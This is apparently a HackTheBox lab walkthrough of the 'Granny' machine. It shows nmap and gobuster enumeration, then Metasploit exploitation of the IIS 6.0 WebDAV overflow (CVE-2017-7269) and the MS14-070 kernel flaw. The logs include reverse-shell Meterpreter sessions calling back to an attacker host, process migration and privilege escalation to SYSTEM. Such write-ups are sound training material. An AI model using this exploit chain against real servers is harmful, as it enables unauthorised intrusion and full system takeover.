Granny is an easy HackTheBox machine that is running a vulnerable Microsoft IIS 6.0 server. Initial access includes exploiting WebDAV Buffer Overflow(CVE-2017-7269), and privilege escalation includes exploiting a kernel vulnerability(MS14-070).
1. Initial Enumeration and Service Discovery
As the first step, I ran an NMAP scan on the target machine to get a better idea of the target machine. I used nmap -sC -sV -O granny.htb -oN nmap_scan to scan the open ports and services.
Starting Nmap 7.99 ( https://nmap.org ) at 2026-08-27 22:30 -0400 Nmap scan report for granny.htb (10.129.95.234) Host is up (0.48s latency). Not shown: 999 filtered tcp ports (no-response) PORT STATE SERVICE VERSION 80/tcp open http Microsoft IIS httpd 6.0 |_http-title: Under Construction |_http-server-header: Microsoft-IIS/6.0 | http-webdav-scan: | Server Date: Fri, 28 Aug 2026 02:37:46 GMT | Allowed Methods: OPTIONS, TRACE, GET, HEAD, DELETE, COPY, MOVE, PROPFIND, PROPPATCH, SEARCH, MKCOL, LOCK, UNLOCK | Server Type: Microsoft-IIS/6.0 | Public Options: OPTIONS, TRACE, GET, HEAD, DELETE, PUT, POST, COPY, MOVE, MKCOL, PROPFIND, PROPPATCH, LOCK, UNLOCK, SEARCH |_ WebDAV type: Unknown | http-methods: |_ Potentially risky methods: TRACE DELETE COPY MOVE PROPFIND PROPPATCH SEARCH MKCOL LOCK UNLOCK PUT Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port Device type: general purpose|specialized Running (JUST GUESSING): Microsoft Windows 2003|2008|XP|2000 (89%), General Dynamics embedded (85%) OS CPE: cpe:/o:microsoft:windows_server_2003::sp1 cpe:/o:microsoft:windows_server_2003::sp2 cpe:/o:microsoft:windows_server_2008::sp2 cpe:/o:microsoft:windows_xp::sp3 cpe:/o:microsoft:windows_2000::sp4 Aggressive OS guesses: Microsoft Windows Server 2003 SP1 or SP2 (89%), Microsoft Windows Server 2008 Enterprise SP2 (88%), Microsoft Windows Server 2003 SP2 (88%), Microsoft Windows 2003 SP2 (87%), Microsoft Windows XP SP3 (87%), Microsoft Windows XP (85%), Microsoft Windows XP SP2 or SP3 (85%), Microsoft Windows 2000 SP4 (85%), General Dynamics R8000B Comm Systems Analyzer (85%), Microsoft Windows Server 2003 SP1 - SP2 (85%) No exact OS matches for host (test conditions non-ideal). Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 58.87 seconds
Scan revealed that only port 80 is open and running Microsoft IIS 6.0 server, and the host OS is Windows Server 2003.
Next, I started a directory scan to see whether any hidden files or directories exist.
=============================================================== Gobuster v3.8.2 by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart) =============================================================== [+] Url: http://granny.htb [+] Method: GET [+] Threads: 20 [+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt [+] Negative Status codes: 404 [+] User Agent: gobuster/3.8.2 [+] Extensions: html,php,md,txt [+] Timeout: 10s =============================================================== Starting gobuster in directory enumeration mode =============================================================== images (Status: 301) [Size: 148] [--> http://granny.htb/images/] Images (Status: 301) [Size: 148] [--> http://granny.htb/Images/] IMAGES (Status: 301) [Size: 148] [--> http://granny.htb/IMAGES/]
But all the directories I found are empty.
Since this did not work out, I decided to search the web server version for any exploits in the ExploitDB database, and I found Microsoft IIS - WebDav 'ScStoragePathFromUrl' Remote Overflow exploit that is also available in Metasploit.
2. Initial Access - WebDAV Buffer Overflow (CVE-2017-7269)
WebDAV Buffer Overflow (CVE-2017-7269) vulnerability allows remote attackers to execute arbitrary code or crash the targeted web server. I used Metasploit's exploit/windows/iis/iis_webdav_scstoragepathfromurl exploit, and I was able to establish a foothold as nt authority\network service, a low-privileged user.
[*] Started reverse TCP handler on 10.10.16.36:4444 [*] Trying path length 3 to 60 ... [*] Sending stage (199238 bytes) to 10.129.95.234 [*] Meterpreter session 1 opened (10.10.16.36:4444 -> 10.129.95.234:1030) at 2026-08-27 22:44:40 -0400 meterpreter > shell [-] Failed to spawn shell with thread impersonation. Retrying without it. Process 3540 created. Channel 2 created. Microsoft Windows [Version 5.2.3790] (C) Copyright 1985-2003 Microsoft Corp. c:\Documents and Settings>whoami whoami nt authority\network service
3. Privilege Escalation - Kernel Exploitation (MS14-070)
Once I established an initial foothold, I began local enumeration of the target machine. I discovered that there are two users, but nt authority\network service did not have access to read files in both users' desktops.
dir Volume in drive C has no label. Volume Serial Number is 424C-F32D Directory of c:\Documents and Settings 04/12/2017 10:19 PM
By running whoami /all, I discovered that the current user has the SeImpersonatePrivilege privilege enabled. This privilege can potentially be abused to escalate privileges by obtaining and impersonating a higher-privileged access token.
I decided to search Metasploit to see if there are any known exploits that I can use.
First, I need to migrate the initial Meterpreter shell session because it resides inside a transient rundll32.exe process spawned by the WebDAV buffer overflow exploit. Because memory corruption exploits leave host processes in an unstable state, attempting local kernel exploitation from this context often results in process crashes or failure to elevate permissions.
To ensure stability, I migrated the session into a service process that already run by nt authority\network service.
meterpreter > ps Process List ============ PID PPID Name Arch Session User Path --- ---- ---- ---- ------- ---- ---- 0 0 [System Process] 4 0 System 272 4 smss.exe 320 272 csrss.exe 344 272 winlogon.exe 392 344 services.exe 404 344 lsass.exe 584 392 svchost.exe 668 392 svchost.exe 732 392 svchost.exe 776 392 svchost.exe 796 392 svchost.exe 952 392 spoolsv.exe 996 392 msdtc.exe 1096 392 cisvc.exe 1136 392 svchost.exe 1192 392 inetinfo.exe 1228 392 svchost.exe 1332 392 VGAuthService.exe 1400 392 vmtoolsd.exe 1504 392 svchost.exe 1612 392 svchost.exe 1800 392 dllhost.exe 1880 392 alg.exe 1904 584 wmiprvse.exe x86 0 NT AUTHORITY\NETWORK SERVICE C:\WINDOWS\system32\wbem\wmiprvse.exe 2436 584 wmiprvse.exe 2456 3816 cmd.exe x86 0 NT AUTHORITY\NETWORK SERVICE C:\WINDOWS\system32\cmd.exe 2660 344 logon.scr 3580 1504 w3wp.exe x86 0 NT AUTHORITY\NETWORK SERVICE c:\windows\system32\inetsrv\w3wp.exe 3720 584 davcdata.exe x86 0 NT AUTHORITY\NETWORK SERVICE C:\WINDOWS\system32\inetsrv\davcdata.exe 3816 3580 rundll32.exe x86 0 C:\WINDOWS\system32\rundll32.exe 3948 1096 cidaemon.exe 3996 1096 cidaemon.exe 4020 1096 cidaemon.exe meterpreter > migrate 3720 [*] Migrating from 3816 to 3720... [*] Migration completed successfully. meterpreter >
Once the process is migrated successfully, I ran the bg command to background the session and go back to msfconsole and ran multi/recon/local_exploit_suggester to find an exploit for privilege escalation.
msf post(multi/recon/local_exploit_suggester) > set SESSION 1 SESSION => 1 msf post(multi/recon/local_exploit_suggester) > run [*] 10.129.95.234 - Collecting local exploits for x86/windows... [*] 10.129.95.234 - 255 exploit checks are being tried... [+] 10.129.95.234 - exploit/windows/local/ms10_015_kitrap0d: The service is running, but could not be validated. Version Windows Server 2003 detected but not confirmed vulnerable [+] 10.129.95.234 - exploit/windows/local/ms14_058_track_popup_menu: The target appears to be vulnerable. Revision 3959 appears vulnerable [+] 10.129.95.234 - exploit/windows/local/ms14_070_tcpip_ioctl: The target appears to be vulnerable. Revision 3959 appears vulnerable [+] 10.129.95.234 - exploit/windows/local/ms15_051_client_copy_image: The target appears to be vulnerable. Revision 3959 appears vulnerable [+] 10.129.95.234 - exploit/windows/local/ms16_016_webdav: The service is running, but could not be validated. 32-bit target detected [+] 10.129.95.234 - exploit/windows/local/ppr_flatten_rec: The target appears to be vulnerable. Revision 3959 appears vulnerable [+] 10.129.95.234 - exploit/windows/persistence/bits: The target is vulnerable. Likely exploitable [+] 10.129.95.234 - exploit/windows/persistence/registry_userinit: The target is vulnerable. Registry likely exploitable [*] Running check method for exploit 62 / 62 [*] 10.129.95.234 - Valid modules for session 1: ============================ # Name Potentially Vulnerable? Check Result - ---- ----------------------- ------------ 1 exploit/windows/local/ms10_015_kitrap0d Yes The service is running, but could not be validated. Version Windows Server 2003 detected but not confirmed vulnerable 2 exploit/windows/local/ms14_058_track_popup_menu Yes The target appears to be vulnerable. Revision 3959 appears vulnerable 3 exploit/windows/local/ms14_070_tcpip_ioctl Yes The target appears to be vulnerable. Revision 3959 appears vulnerable 4 exploit/windows/local/ms15_051_client_copy_image Yes The target appears to be vulnerable. Revision 3959 appears vulnerable 5 exploit/windows/local/ms16_016_webdav Yes The service is running, but could not be validated. 32-bit target detected 6 exploit/windows/local/ppr_flatten_rec Yes The target appears to be vulnerable. Revision 3959 appears vulnerable 7 exploit/windows/persistence/bits Yes The target is vulnerable. Likely exploitable 8 exploit/windows/persistence/registry_userinit Yes The target is vulnerable. Registry likely exploitable 9 exploit/multi/persistence/ssh_key No The target is not exploitable. sshd_config file not found
I decided to use exploit/windows/local/ms14_058_track_popup_menu, but it failed to escalate privileges.
Then I decided to try windows/local/ms14_070_tcpip_ioctl, and this exploit was successful, and I was able to escalate privileges as nt authority\system.
[*] Started reverse TCP handler on 10.10.16.36:4446 [*] Storing the shellcode in memory... [*] Triggering the vulnerability... [*] Checking privileges after exploitation... [+] Exploitation successful! [*] Sending stage (199238 bytes) to 10.129.95.234 [*] Meterpreter session 2 opened (10.10.16.36:4446 -> 10.129.95.234:1031) at 2026-08-28 00:28:52 -0400 meterpreter > shell Process 3808 created. Channel 1 created. Microsoft Windows [Version 5.2.3790] (C) Copyright 1985-2003 Microsoft Corp. C:\WINDOWS\system32>whoami whoami nt authority\system C:\WINDOWS\system32>
With full administrative control, I was able to retrieve both flags directly from the user's desktop directories.
C:\Documents and Settings>cd Lakis\Desktop cd Lakis\Desktop C:\Documents and Settings\Lakis\Desktop>type user.txt type user.txt C:\Documents and Settings\Lakis\Desktop>cd ..\..\Administrator\Desktop cd ..\..\Administrator\Desktop C:\Documents and Settings\Administrator\Desktop>type root.txt type root.txt
Congrats! We found both flags!
Related Machines :- Hack The Box: Grandpa Walkthrough
HTB Machine Completion
